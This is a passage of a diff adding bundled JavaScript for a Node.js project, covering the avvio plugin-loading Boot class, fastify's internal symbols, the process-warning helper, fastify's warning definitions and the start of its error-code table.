+ var { debug } = require_debug(); + var { validatePlugin } = require_validate_plugin(); + var { isBundledOrTypescriptPlugin } = require_is_bundled_or_typescript_plugin(); + var { isPromiseLike } = require_is_promise_like(); + var { thenify } = require_thenify(); + var { executeWithThenable } = require_execute_with_thenable(); + function Boot(server, opts, done) { + if (typeof server === "function" && arguments.length === 1) { + done = server; + opts = {}; + server = null; + } + if (typeof opts === "function") { + done = opts; + opts = {}; + } + opts = opts || {}; + opts.autostart = opts.autostart !== false; + opts.timeout = Number(opts.timeout) || 0; + opts.expose = opts.expose || {}; + if (!new.target) { + return new Boot(server, opts, done); + } + this._server = server || this; + this._opts = opts; + if (server) { + this._expose(); + } + this._current = []; + this._error = null; + this._lastUsed = null; + this.setMaxListeners(0); + if (done) { + this.once("start", done); + } + this.started = false; + this.booted = false; + this.pluginTree = new TimeTree(); + this._readyQ = fastq(this, callWithCbOrNextTick, 1); + this._readyQ.pause(); + this._readyQ.drain = () => { + this.emit("start"); + this._readyQ.drain = noop3; + }; + this._closeQ = fastq(this, closeWithCbOrNextTick, 1); + this._closeQ.pause(); + this._closeQ.drain = () => { + this.emit("close"); + this._closeQ.drain = noop3; + }; + this._doStart = null; + const instance = this; + this._root = new Plugin(fastq(this, this._loadPluginNextTick, 1), function root(server2, opts2, done2) { + instance._doStart = done2; + opts2.autostart && instance.start(); + }, opts, false, 0); + this._trackPluginLoading(this._root); + this._loadPlugin(this._root, (err) => { + debug("root plugin ready"); + try { + this.emit("preReady"); + this._root = null; + } catch (preReadyError) { + err = err || this._error || preReadyError; + } + if (err) { + this._error = err; + if (this._readyQ.length() === 0) { + throw err; + } + } else { + this.booted = true; + } + this._readyQ.resume(); + }); + } + inherits(Boot, EE); + if ("asyncDispose" in Symbol) { + Boot.prototype[Symbol.asyncDispose] = function() { + return new Promise((resolve, reject) => { + this.close((err) => { + if (err) { + return reject(err); + } + resolve(); + }); + }); + }; + } + Boot.prototype.start = function() { + this.started = true; + process.nextTick(this._doStart); + return this; + }; + Boot.prototype.override = function(server, func, opts) { + return server; + }; + Boot.prototype[kAvvio] = true; + Boot.prototype.use = function(plugin, opts) { + this._lastUsed = this._addPlugin(plugin, opts, false); + return this; + }; + Boot.prototype._loadRegistered = function() { + const plugin = this._current[0]; + const weNeedToStart = !this.started && !this.booted; + if (weNeedToStart) { + process.nextTick(() => this._root.queue.resume()); + } + if (!plugin) { + return Promise.resolve(); + } + return plugin.loadedSoFar(); + }; + Object.defineProperty(Boot.prototype, "then", { get: thenify }); + Boot.prototype._addPlugin = function(pluginFn, opts, isAfter) { + if (isBundledOrTypescriptPlugin(pluginFn)) { + pluginFn = pluginFn.default; + } + validatePlugin(pluginFn); + opts = opts || {}; + if (this.booted) { + throw new AVV_ERR_ROOT_PLG_BOOTED(); + } + const current = this._current[0]; + let timeout = this._opts.timeout; + if (!current.loaded && current.timeout > 0) { + const delta = Date.now() - current.startTime; + timeout = current.timeout - (delta + 3); + } + const plugin = new Plugin(fastq(this, this._loadPluginNextTick, 1), pluginFn, opts, isAfter, timeout); + this._trackPluginLoading(plugin); + if (current.loaded) { + throw new Error(plugin.name, current.name); + } + current.enqueue(plugin, (err) => { + err && (this._error = err); + }); + return plugin; + }; + Boot.prototype._expose = function _expose() { + const instance = this; + const server = instance._server; + const { + use: useKey = "use", + after: afterKey = "after", + ready: readyKey = "ready", + onClose: onCloseKey = "onClose", + close: closeKey = "close" + } = this._opts.expose; + if (server[useKey]) { + throw new AVV_ERR_EXPOSE_ALREADY_DEFINED(useKey, "use"); + } + server[useKey] = function(fn, opts) { + instance.use(fn, opts); + return this; + }; + if (server[afterKey]) { + throw new AVV_ERR_EXPOSE_ALREADY_DEFINED(afterKey, "after"); + } + server[afterKey] = function(func) { + if (typeof func !== "function") { + return instance._loadRegistered(); + } + instance.after(encapsulateThreeParam(func, this)); + return this; + }; + if (server[readyKey]) { + throw new AVV_ERR_EXPOSE_ALREADY_DEFINED(readyKey, "ready"); + } + server[readyKey] = function(func) { + if (func && typeof func !== "function") { + throw new AVV_ERR_CALLBACK_NOT_FN(readyKey, typeof func); + } + return instance.ready(func ? encapsulateThreeParam(func, this) : void 0); + }; + if (server[onCloseKey]) { + throw new AVV_ERR_EXPOSE_ALREADY_DEFINED(onCloseKey, "onClose"); + } + server[onCloseKey] = function(func) { + if (typeof func !== "function") { + throw new AVV_ERR_CALLBACK_NOT_FN(onCloseKey, typeof func); + } + instance.onClose(encapsulateTwoParam(func, this)); + return this; + }; + if (server[closeKey]) { + throw new AVV_ERR_EXPOSE_ALREADY_DEFINED(closeKey, "close"); + } + server[closeKey] = function(func) { + if (func && typeof func !== "function") { + throw new AVV_ERR_CALLBACK_NOT_FN(closeKey, typeof func); + } + if (func) { + instance.close(encapsulateThreeParam(func, this)); + return this; + } + return instance.close(); + }; + if (server.then) { + throw new AVV_ERR_ATTRIBUTE_ALREADY_DEFINED("then"); + } + Object.defineProperty(server, "then", { get: thenify.bind(instance) }); + server[kAvvio] = true; + }; + Boot.prototype.after = function(func) { + if (!func) { + return this._loadRegistered(); + } + this._addPlugin(_after.bind(this), {}, true); + function _after(s, opts, done) { + callWithCbOrNextTick.call(this, func, done); + } + return this; + }; + Boot.prototype.onClose = function(func) { + if (typeof func !== "function") { + throw new AVV_ERR_CALLBACK_NOT_FN("onClose", typeof func); + } + func[kIsOnCloseHandler] = true; + this._closeQ.unshift(func, (err) => { + err && (this._error = err); + }); + return this; + }; + Boot.prototype.close = function(func) { + let promise2; + if (func) { + if (typeof func !== "function") { + throw new AVV_ERR_CALLBACK_NOT_FN("close", typeof func); + } + } else { + promise2 = new Promise(function(resolve, reject) { + func = function(err) { + if (err) { + return reject(err); + } + resolve(); + }; + }); + } + this.ready(() => { + this._error = null; + this._closeQ.push(func); + process.nextTick(this._closeQ.resume.bind(this._closeQ)); + }); + return promise2; + }; + Boot.prototype.ready = function(func) { + if (func) { + if (typeof func !== "function") { + throw new AVV_ERR_CALLBACK_NOT_FN("ready", typeof func); + } + this._readyQ.push(func); + queueMicrotask(this.start.bind(this)); + return; + } + return new Promise((resolve, reject) => { + this._readyQ.push(readyPromiseCB); + this.start(); + const relativeContext = this._current[0].server; + function readyPromiseCB(err, context2, done) { + if (err) { + reject(err); + } else { + resolve(relativeContext); + } + process.nextTick(done); + } + }); + }; + Boot.prototype._trackPluginLoading = function(plugin) { + const parentName = this._current[0]?.name || null; + plugin.once("start", (serverName, funcName, time4) => { + const nodeId = this.pluginTree.start(parentName || null, funcName, time4); + plugin.once("loaded", (serverName2, funcName2, time5) => { + this.pluginTree.stop(nodeId, time5); + }); + }); + }; + Boot.prototype.prettyPrint = function() { + return this.pluginTree.prettyPrint(); + }; + Boot.prototype.toJSON = function() { + return this.pluginTree.toJSON(); + }; + Boot.prototype._loadPlugin = function(plugin, callback) { + const instance = this; + if (isPromiseLike(plugin.func)) { + plugin.func.then((fn) => { + if (typeof fn.default === "function") { + fn = fn.default; + } + plugin.func = fn; + this._loadPlugin(plugin, callback); + }, callback); + return; + } + const last = instance._current[0]; + instance._current.unshift(plugin); + if (instance._error && !plugin.isAfter) { + debug("skipping loading of plugin as instance errored and it is not an after", plugin.name); + process.nextTick(execCallback); + return; + } + let server = last?.server || instance._server; + if (!plugin.isAfter) { + try { + server = instance.override(server, plugin.func, plugin.options); + } catch (overrideErr) { + debug("override errored", plugin.name); + return execCallback(overrideErr); + } + } + plugin.exec(server, execCallback); + function execCallback(err) { + plugin.finish(err, (err2) => { + instance._current.shift(); + callback(err2); + }); + } + }; + Boot.prototype._loadPluginNextTick = function(plugin, callback) { + process.nextTick(this._loadPlugin.bind(this), plugin, callback); + }; + function noop3() { + } + function callWithCbOrNextTick(func, cb) { + const context2 = this._server; + const err = this._error; + this._error = null; + if (func.length === 0) { + this._error = err; + executeWithThenable(func, [], cb); + } else if (func.length === 1) { + executeWithThenable(func, [err], cb); + } else { + if (this._opts.timeout === 0) { + let completed = false; + const wrapCb = (err2) => { + if (completed) { + return; + } + completed = true; + this._error = err2; + process.nextTick(cb, this._error); + }; + if (func.length === 2) { + func(err, wrapCb); + } else { + func(err, context2, wrapCb); + } + } else { + timeoutCall.call(this, func, err, context2, cb); + } + } + } + function timeoutCall(func, rootErr, context2, cb) { + const name = func.unwrappedName ?? func.name; + debug("setting up ready timeout", name, this._opts.timeout); + let timer2 = setTimeout(() => { + debug("timed out", name); + timer2 = null; + const toutErr = new AVV_ERR_READY_TIMEOUT(name); + toutErr.fn = func; + this._error = toutErr; + cb(toutErr); + }, this._opts.timeout); + if (func.length === 2) { + func(rootErr, timeoutCb.bind(this)); + } else { + func(rootErr, context2, timeoutCb.bind(this)); + } + function timeoutCb(err) { + if (timer2) { + clearTimeout(timer2); + timer2 = null; + this._error = err; + process.nextTick(cb, this._error); + } else { + } + } + } + function closeWithCbOrNextTick(func, cb) { + const context2 = this._server; + const isOnCloseHandler = func[kIsOnCloseHandler]; + if (func.length === 0 || func.length === 1) { + let promise2; + if (isOnCloseHandler) { + promise2 = func(context2); + } else { + promise2 = func(this._error); + } + if (promise2 && typeof promise2.then === "function") { + debug("resolving close/onClose promise"); + promise2.then( + () => process.nextTick(cb), + (e) => process.nextTick(cb, e) + ); + } else { + process.nextTick(cb); + } + } else if (func.length === 2) { + if (isOnCloseHandler) { + func(context2, cb); + } else { + func(this._error, cb); + } + } else { + if (isOnCloseHandler) { + func(context2, cb); + } else { + func(this._error, context2, cb); + } + } + } + function encapsulateTwoParam(func, that) { + return _encapsulateTwoParam.bind(that); + function _encapsulateTwoParam(context2, cb) { + let res; + if (func.length === 0) { + res = func(); + if (res?.then) { + res.then(function() { + process.nextTick(cb); + }, cb); + } else { + process.nextTick(cb); + } + } else if (func.length === 1) { + res = func(this); + if (res?.then) { + res.then(function() { + process.nextTick(cb); + }, cb); + } else { + process.nextTick(cb); + } + } else { + func(this, cb); + } + } + } + function encapsulateThreeParam(func, that) { + const wrapped = _encapsulateThreeParam.bind(that); + wrapped.unwrappedName = func.name; + return wrapped; + function _encapsulateThreeParam(err, cb) { + let res; + if (!func) { + process.nextTick(cb); + } else if (func.length === 0) { + res = func(); + if (res?.then) { + res.then(function() { + process.nextTick(cb, err); + }, cb); + } else { + process.nextTick(cb, err); + } + } else if (func.length === 1) { + res = func(err); + if (res?.then) { + res.then(function() { + process.nextTick(cb); + }, cb); + } else { + process.nextTick(cb); + } + } else if (func.length === 2) { + func(err, cb); + } else { + func(err, this, cb); + } + } + } + module.exports = Boot; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/symbols.js +var require_symbols3 = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/symbols.js"(exports, module) { + "use strict"; + var keys = { + kAvvioBoot: Symbol("fastify.avvioBoot"), + kChildren: Symbol("fastify.children"), + kServerBindings: Symbol("fastify.serverBindings"), + kBodyLimit: Symbol("fastify.bodyLimit"), + kSupportedHTTPMethods: Symbol("fastify.acceptedHTTPMethods"), + kRoutePrefix: Symbol("fastify.routePrefix"), + kLogLevel: Symbol("fastify.logLevel"), + kLogSerializers: Symbol("fastify.logSerializers"), + kHooks: Symbol("fastify.hooks"), + kContentTypeParser: Symbol("fastify.contentTypeParser"), + kState: Symbol("fastify.state"), + kOptions: Symbol("fastify.options"), + kPluginNameChain: Symbol("fastify.pluginNameChain"), + kRouteContext: Symbol("fastify.context"), + kGenReqId: Symbol("fastify.genReqId"), + kHttp2ServerSessions: Symbol("fastify.http2ServerSessions"), + // Schema + kSchemaController: Symbol("fastify.schemaController"), + kSchemaHeaders: Symbol("headers-schema"), + kSchemaParams: Symbol("params-schema"), + kSchemaQuerystring: Symbol("querystring-schema"), + kSchemaBody: Symbol("body-schema"), + kSchemaResponse: Symbol("response-schema"), + kSchemaErrorFormatter: Symbol("fastify.schemaErrorFormatter"), + kSchemaVisited: Symbol("fastify.schemas.visited"), + // Request + kRequest: Symbol("fastify.Request"), + kRequestPayloadStream: Symbol("fastify.RequestPayloadStream"), + kRequestAcceptVersion: Symbol("fastify.RequestAcceptVersion"), + kRequestCacheValidateFns: Symbol("fastify.request.cache.validateFns"), + kRequestContentType: Symbol("fastify.request.contentType"), + kRequestOriginalUrl: Symbol("fastify.request.originalUrl"), + kRequestSignal: Symbol("fastify.request.signal"), + kHandlerTimeout: Symbol("fastify.handlerTimeout"), + kTimeoutTimer: Symbol("fastify.request.timeoutTimer"), + kOnAbort: Symbol("fastify.request.onAbort"), + // 404 + kFourOhFour: Symbol("fastify.404"), + kCanSetNotFoundHandler: Symbol("fastify.canSetNotFoundHandler"), + kFourOhFourLevelInstance: Symbol("fastify.404LogLevelInstance"), + kFourOhFourContext: Symbol("fastify.404ContextKey"), + kDefaultJsonParse: Symbol("fastify.defaultJSONParse"), + // Reply + kReply: Symbol("fastify.Reply"), + kReplySerializer: Symbol("fastify.reply.serializer"), + kReplyIsError: Symbol("fastify.reply.isError"), + kReplyHeaders: Symbol("fastify.reply.headers"), + kReplyTrailers: Symbol("fastify.reply.trailers"), + kReplyHasStatusCode: Symbol("fastify.reply.hasStatusCode"), + kReplyHijacked: Symbol("fastify.reply.hijacked"), + kReplyStartTime: Symbol("fastify.reply.startTime"), + kReplyNextErrorHandler: Symbol("fastify.reply.nextErrorHandler"), + kReplyEndTime: Symbol("fastify.reply.endTime"), + kReplyErrorHandlerCalled: Symbol("fastify.reply.errorHandlerCalled"), + kReplyIsRunningOnErrorHook: Symbol("fastify.reply.isRunningOnErrorHook"), + kReplySerializerDefault: Symbol("fastify.replySerializerDefault"), + kReplyCacheSerializeFns: Symbol("fastify.reply.cache.serializeFns"), + // This symbol is only meant to be used for fastify tests and should not be used for any other purpose + kTestInternals: Symbol("fastify.testInternals"), + kErrorHandler: Symbol("fastify.errorHandler"), + kErrorHandlerAlreadySet: Symbol("fastify.errorHandlerAlreadySet"), + kChildLoggerFactory: Symbol("fastify.childLoggerFactory"), + kHasBeenDecorated: Symbol("fastify.hasBeenDecorated"), + kKeepAliveConnections: Symbol("fastify.keepAliveConnections"), + kRouteByFastify: Symbol("fastify.routeByFastify"), + kLogController: Symbol("fastify.logController"), + kDiagnosticsStore: Symbol("fastify.diagnosticsStore") + }; + module.exports = keys; + } +}); + +// node_modules/.pnpm/process-warning@5.1.0/node_modules/process-warning/index.js +var require_process_warning = __commonJS({ + "node_modules/.pnpm/process-warning@5.1.0/node_modules/process-warning/index.js"(exports, module) { + "use strict"; + var { format } = __require("node:util"); + var kWarningFn = Symbol("process-warning.fn"); + var kWarningSpyData = Symbol("process-warning.spyData"); + function spyWarning(warning) { + if (warning[kWarningSpyData] === null) { + const warningFn = warning[kWarningFn]; + warning[kWarningFn] = function(a, b2, c) { + const args = []; + if (c) { + args.push(a, b2, c); + } else if (b2) { + args.push(a, b2); + } else if (a) { + args.push(a); + } + warning[kWarningSpyData].calls.push({ + arguments: args, + result: warningFn(a, b2, c) + }); + }; + const spyData = { + calls: [], + callCount() { + return spyData.calls.length; + }, + reset() { + warning.emitted = false; + spyData.calls.length = 0; + }, + restore() { + spyData.reset(); + warning[kWarningFn] = warningFn; + warning[kWarningSpyData] = null; + } + }; + warning[kWarningSpyData] = spyData; + } + return warning[kWarningSpyData]; + } + function createDeprecation(params) { + return createWarning({ ...params, name: "DeprecationWarning" }); + } + function createWarning({ name, code, message: message2, unlimited = false } = {}) { + if (!name) throw new Error("Warning name must not be empty"); + if (!code) throw new Error("Warning code must not be empty"); + if (!message2) throw new Error("Warning message must not be empty"); + if (typeof unlimited !== "boolean") throw new Error("Warning opts.unlimited must be a boolean"); + code = code.toUpperCase(); + const warningFn = unlimited === true ? function(a, b2, c) { + warning.emitted = true; + process.emitWarning(warning.format(a, b2, c), warning.name, warning.code); + return true; + } : function(a, b2, c) { + if (warning.emitted === true && warning.unlimited !== true) { + return false; + } + warning.emitted = true; + process.emitWarning(warning.format(a, b2, c), warning.name, warning.code); + return true; + }; + const warningContainer = { + [name]: function(a, b2, c) { + return warning[kWarningFn](a, b2, c); + } + }; + const warning = warningContainer[name]; + warning.emitted = false; + warning.message = message2; + warning.unlimited = unlimited; + warning.code = code; + warning[kWarningFn] = warningFn; + warning[kWarningSpyData] = null; + warning.format = function(a, b2, c) { + let formatted; + if (a && b2 && c) { + formatted = format(message2, a, b2, c); + } else if (a && b2) { + formatted = format(message2, a, b2); + } else if (a) { + formatted = format(message2, a); + } else { + formatted = message2; + } + return formatted; + }; + return warning; + } + var out = { createWarning, createDeprecation, spyWarning }; + module.exports = out; + module.exports.default = out; + module.exports.processWarning = out; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/warnings.js +var require_warnings = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/warnings.js"(exports, module) { + "use strict"; + var { createWarning } = require_process_warning(); + var FSTWRN001 = createWarning({ + name: "FastifyWarning", + code: "FSTWRN001", + message: "The %s schema for %s: %s is missing. This may indicate the schema is not well specified.", + unlimited: true + }); + var FSTWRN003 = createWarning({ + name: "FastifyWarning", + code: "FSTWRN003", + message: "The %s mixes async and callback styles that may lead to unhandled rejections. Please use only one of them.", + unlimited: true + }); + var FSTWRN004 = createWarning({ + name: "FastifyWarning", + code: "FSTWRN004", + message: "It seems that you are overriding an errorHandler in the same scope, which can lead to subtle bugs. To disable this behavior, set 'allowErrorHandlerOverride' to false. For more information, visit: https://fastify.dev/docs/latest/Reference/Server/#allowerrorhandleroverride", + unlimited: true + }); + var FSTSEC001 = createWarning({ + name: "FastifySecurity", + code: "FSTSEC001", + message: 'You are using /%s/ Content-Type which may be vulnerable to CORS attack. Please make sure your RegExp start with "^" or include ";?" to proper detection of the essence MIME type.', + unlimited: true + }); + var FSTSEC002 = createWarning({ + name: "FastifySecurity", + code: "FSTSEC002", + message: "The headers schema for %s: %s references an external $ref (%s) that is not case-normalized. Header names in the referenced schema keep their original case and will not match the lowercased request headers, so case-insensitive assertions such as required and dependencies may not apply. Inline the header schema instead of referencing it with an external $ref.", + unlimited: true + }); + var FSTDEP022 = createWarning({ + name: "FastifyWarning", + code: "FSTDEP022", + message: 'The router options for %s property access is deprecated. Please use "options.routerOptions" instead for accessing router options. The router options will be removed in `fastify@6`.', + unlimited: true + }); + var FSTDEP023 = createWarning({ + name: "FastifyDeprecation", + code: "FSTDEP023", + message: "disableRequestLogging option is deprecated. Use the logController option with disableRequestLogging or isLogDisabled override instead. The disableRequestLogging top-level option will be removed in `fastify@6`.", + unlimited: true + }); + var FSTDEP024 = createWarning({ + name: "FastifyDeprecation", + code: "FSTDEP024", + message: "requestIdLogLabel option is deprecated. Use the logController option with requestIdLogLabel instead. The requestIdLogLabel top-level option will be removed in `fastify@6`.", + unlimited: true + }); + var FSTDEP025 = createWarning({ + name: "FastifyDeprecation", + code: "FSTDEP025", + message: 'Calling addHttpMethod for existing method "%s" without { overrideExisting: true } is deprecated. In Fastify v6, this will throw an error.', + unlimited: true + }); + module.exports = { + FSTWRN001, + FSTWRN003, + FSTWRN004, + FSTSEC001, + FSTSEC002, + FSTDEP022, + FSTDEP023, + FSTDEP024, + FSTDEP025 + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/errors.js +var require_errors2 = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/errors.js"(exports, module) { + "use strict"; + var createError = require_error(); + var codes = { + /** + * Basic + */ + FST_ERR_NOT_FOUND: createError( + "FST_ERR_NOT_FOUND", + "Not Found", + 404 + ), + FST_ERR_OPTIONS_NOT_OBJ: createError( + "FST_ERR_OPTIONS_NOT_OBJ", + "Options must be an object", + 500, + TypeError + ), + FST_ERR_QSP_NOT_FN: createError( + "FST_ERR_QSP_NOT_FN", + "querystringParser option should be a function, instead got '%s'", + 500, + TypeError + ), + FST_ERR_SCHEMA_CONTROLLER_BUCKET_OPT_NOT_FN: createError( + "FST_ERR_SCHEMA_CONTROLLER_BUCKET_OPT_NOT_FN", + "schemaController.bucket option should be a function, instead got '%s'", + 500, + TypeError + ), + FST_ERR_SCHEMA_ERROR_FORMATTER_NOT_FN: createError( + "FST_ERR_SCHEMA_ERROR_FORMATTER_NOT_FN", + "schemaErrorFormatter option should be a non async function. Instead got '%s'.", + 500, + TypeError + ), + FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_OBJ: createError( + "FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_OBJ", + "ajv.customOptions option should be an object, instead got '%s'", + 500, + TypeError + ), + FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR: createError( + "FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR", + "ajv.plugins option should be an array, instead got '%s'", + 500, + TypeError + ), + FST_ERR_VALIDATION: createError( + "FST_ERR_VALIDATION", + "%s", + 400 + ), + FST_ERR_LISTEN_OPTIONS_INVALID: createError( + "FST_ERR_LISTEN_OPTIONS_INVALID", + "Invalid listen options: '%s'", + 500, + TypeError + ), + FST_ERR_ERROR_HANDLER_NOT_FN: createError( + "FST_ERR_ERROR_HANDLER_NOT_FN", + "Error Handler must be a function", + 500, + TypeError + ), + FST_ERR_ERROR_HANDLER_ALREADY_SET: createError( + "FST_ERR_ERROR_HANDLER_ALREADY_SET", + "Error Handler already set in this scope. Set 'allowErrorHandlerOverride: true' to allow overriding.", + 500, + TypeError + ), + /** + * ContentTypeParser + */ + FST_ERR_CTP_ALREADY_PRESENT: createError( + "FST_ERR_CTP_ALREADY_PRESENT", + "Content type parser '%s' already present." + ), + FST_ERR_CTP_INVALID_TYPE: createError( + "FST_ERR_CTP_INVALID_TYPE", + "The content type should be a string or a RegExp", + 500, + TypeError + ), + FST_ERR_CTP_EMPTY_TYPE: createError( + "FST_ERR_CTP_EMPTY_TYPE", + "The content type cannot be an empty string", + 500, + TypeError + ), + FST_ERR_CTP_INVALID_HANDLER: createError( + "FST_ERR_CTP_INVALID_HANDLER", + "The content type handler should be a function", + 500, + TypeError + ), + FST_ERR_CTP_INVALID_PARSE_TYPE: createError( + "FST_ERR_CTP_INVALID_PARSE_TYPE", + "The body parser can only parse your data as 'string' or 'buffer', you asked '%s' which is not supported.", + 500, + TypeError + ), + FST_ERR_CTP_BODY_TOO_LARGE: createError( + "FST_ERR_CTP_BODY_TOO_LARGE", + "Request body is too large", + 413, + RangeError + ), + FST_ERR_CTP_INVALID_MEDIA_TYPE: createError( + "FST_ERR_CTP_INVALID_MEDIA_TYPE", + "Unsupported Media Type", + 415 + ), + FST_ERR_CTP_INVALID_CONTENT_LENGTH: createError( + "FST_ERR_CTP_INVALID_CONTENT_LENGTH", + "Request body size did not match Content-Length", + 400, + RangeError + ), + FST_ERR_CTP_EMPTY_JSON_BODY: createError( + "FST_ERR_CTP_EMPTY_JSON_BODY", + "Body cannot be empty when content-type is set to 'application/json'", + 400 + ), + FST_ERR_CTP_INVALID_JSON_BODY: createError( + "FST_ERR_CTP_INVALID_JSON_BODY", + "Body is not valid JSON but content-type is set to 'application/json'", + 400 + ), + FST_ERR_CTP_INSTANCE_ALREADY_STARTED: createError( + "FST_ERR_CTP_INSTANCE_ALREADY_STARTED", + 'Cannot call "%s" when fastify instance is already started!', + 400 + ), + /** + * decorate + */ + FST_ERR_DEC_ALREADY_PRESENT: createError( + "FST_ERR_DEC_ALREADY_PRESENT", + "The decorator '%s' has already been added!" + ), + FST_ERR_DEC_DEPENDENCY_INVALID_TYPE: createError( + "FST_ERR_DEC_DEPENDENCY_INVALID_TYPE", + "The dependencies of decorator '%s' must be of type Array.", + 500, + TypeError + ), + FST_ERR_DEC_MISSING_DEPENDENCY: createError( + "FST_ERR_DEC_MISSING_DEPENDENCY", + "The decorator is missing dependency '%s'." + ), + FST_ERR_DEC_AFTER_START: createError( + "FST_ERR_DEC_AFTER_START", + "The decorator '%s' has been added after start!" + ), + FST_ERR_DEC_REFERENCE_TYPE: createError( + "FST_ERR_DEC_REFERENCE_TYPE", + "The decorator '%s' of type '%s' is a reference type. Use the { getter, setter } interface instead." + ), + FST_ERR_DEC_UNDECLARED: createError( + "FST_ERR_DEC_UNDECLARED", + "No decorator '%s' has been declared on %s." + ), + /** + * hooks + */ + FST_ERR_HOOK_INVALID_TYPE: createError( + "FST_ERR_HOOK_INVALID_TYPE", + "The hook name must be a string", + 500, + TypeError + ), + FST_ERR_HOOK_INVALID_HANDLER: createError( + "FST_ERR_HOOK_INVALID_HANDLER", + "%s hook should be a function, instead got %s", + 500, + TypeError + ), + FST_ERR_HOOK_INVALID_ASYNC_HANDLER: createError( + "FST_ERR_HOOK_INVALID_ASYNC_HANDLER", + "Async function has too many arguments. Async hooks should not use the 'done' argument.", + 500, + TypeError + ), + FST_ERR_HOOK_NOT_SUPPORTED: createError( + "FST_ERR_HOOK_NOT_SUPPORTED", + "%s hook not supported!", + 500, + TypeError + ), + /** + * Middlewares + */ + FST_ERR_MISSING_MIDDLEWARE: createError( + "FST_ERR_MISSING_MIDDLEWARE", + "You must register a plugin for handling middlewares, visit fastify.dev/docs/latest/Reference/Middleware/ for more info.", + 500 + ), + FST_ERR_HOOK_TIMEOUT: createError( + "FST_ERR_HOOK_TIMEOUT", + "A callback for '%s' hook%s timed out. You may have forgotten to call 'done' function or to resolve a Promise" + ), + /** + * logger + */ + FST_ERR_LOG_INVALID_DESTINATION: createError( + "FST_ERR_LOG_INVALID_DESTINATION", + "Cannot specify both logger.stream and logger.file options" + ), + FST_ERR_LOG_INVALID_LOGGER: createError( + "FST_ERR_LOG_INVALID_LOGGER", + "Invalid logger object provided. The logger instance should have these functions(s): '%s'.", + 500, + TypeError + ), + FST_ERR_LOG_INVALID_LOGGER_INSTANCE: createError( + "FST_ERR_LOG_INVALID_LOGGER_INSTANCE", + "loggerInstance only accepts a logger instance.", + 500, + TypeError + ), + FST_ERR_LOG_INVALID_LOGGER_CONFIG: createError( + "FST_ERR_LOG_INVALID_LOGGER_CONFIG", + "logger options only accepts a configuration object.", + 500, + TypeError + ), + FST_ERR_LOG_LOGGER_AND_LOGGER_INSTANCE_PROVIDED: createError( + "FST_ERR_LOG_LOGGER_AND_LOGGER_INSTANCE_PROVIDED", + "You cannot provide both logger and loggerInstance. Please provide only one.", + 500, + TypeError + ), + FST_ERR_LOG_INVALID_LOG_CONTROLLER: createError( + "FST_ERR_LOG_INVALID_LOG_CONTROLLER", + "logController option must be an instance of LogController, got '%s'.", + 500, + TypeError + ), + /** + * reply + */ + FST_ERR_REP_INVALID_PAYLOAD_TYPE: createError( + "FST_ERR_REP_INVALID_PAYLOAD_TYPE", + "Attempted to send payload of invalid type '%s'. Expected a string or Buffer.", + 500, + TypeError + ), + FST_ERR_REP_RESPONSE_BODY_CONSUMED: createError( + "FST_ERR_REP_RESPONSE_BODY_CONSUMED", + "Response.body is already consumed." + ), + FST_ERR_REP_READABLE_STREAM_LOCKED: createError( + "FST_ERR_REP_READABLE_STREAM_LOCKED", + "ReadableStream was locked. You should call releaseLock() method on reader before sending." + ), + FST_ERR_REP_ALREADY_SENT: createError( + "FST_ERR_REP_ALREADY_SENT", + 'Reply was already sent, did you forget to "return reply" in "%s" (%s)?' + ), + FST_ERR_REP_SENT_VALUE: createError( + "FST_ERR_REP_SENT_VALUE", + "The only possible value for reply.sent is true.", + 500, + TypeError + ), + FST_ERR_SEND_INSIDE_ONERR: createError( + "FST_ERR_SEND_INSIDE_ONERR", + "You cannot use `send` inside the `onError` hook" + ), + FST_ERR_SEND_UNDEFINED_ERR: createError( + "FST_ERR_SEND_UNDEFINED_ERR", + "Undefined error has occurred" + ), + FST_ERR_BAD_STATUS_CODE: createError( + "FST_ERR_BAD_STATUS_CODE", + "Called reply with an invalid status code: %s" + ), + FST_ERR_BAD_TRAILER_NAME: createError( + "FST_ERR_BAD_TRAILER_NAME", + "Called reply.trailer with an invalid header name: %s" + ), + FST_ERR_BAD_TRAILER_VALUE: createError( + "FST_ERR_BAD_TRAILER_VALUE", + "Called reply.trailer('%s', fn) with an invalid type: %s. Expected a function." + ), + FST_ERR_FAILED_ERROR_SERIALIZATION: createError( + "FST_ERR_FAILED_ERROR_SERIALIZATION", + "Failed to serialize an error. Error: %s. Original error: %s" + ), + FST_ERR_MISSING_SERIALIZATION_FN: createError( + "FST_ERR_MISSING_SERIALIZATION_FN", + 'Missing serialization function. Key "%s"' + ), + FST_ERR_MISSING_CONTENTTYPE_SERIALIZATION_FN: createError( + "FST_ERR_MISSING_CONTENTTYPE_SERIALIZATION_FN", + 'Missing serialization function. Key "%s:%s"' + ), + FST_ERR_REQ_INVALID_VALIDATION_INVOCATION: createError( + "FST_ERR_REQ_INVALID_VALIDATION_INVOCATION", + 'Invalid validation invocation. Missing validation function for HTTP part "%s" nor schema provided.' + ), + /** + * schemas + */ + FST_ERR_SCH_MISSING_ID: createError( + "FST_ERR_SCH_MISSING_ID", + "Missing schema $id property" + ), + FST_ERR_SCH_ALREADY_PRESENT: createError( + "FST_ERR_SCH_ALREADY_PRESENT", + "Schema with id '%s' already declared!" + ), + FST_ERR_SCH_CONTENT_MISSING_SCHEMA: createError( + "FST_ERR_SCH_CONTENT_MISSING_SCHEMA", + "Schema is missing for the content type '%s'" + ), + FST_ERR_SCH_DUPLICATE: createError( + "FST_ERR_SCH_DUPLICATE", + "Schema with '%s' already present!" + ), + FST_ERR_SCH_VALIDATION_BUILD: createError( + "FST_ERR_SCH_VALIDATION_BUILD", + "Failed building the validation schema for %s: %s, due to error %s" + ), + FST_ERR_SCH_SERIALIZATION_BUILD: createError( + "FST_ERR_SCH_SERIALIZATION_BUILD", + "Failed building the serialization schema for %s: %s, due to error %s" + ), + FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX: createError( + 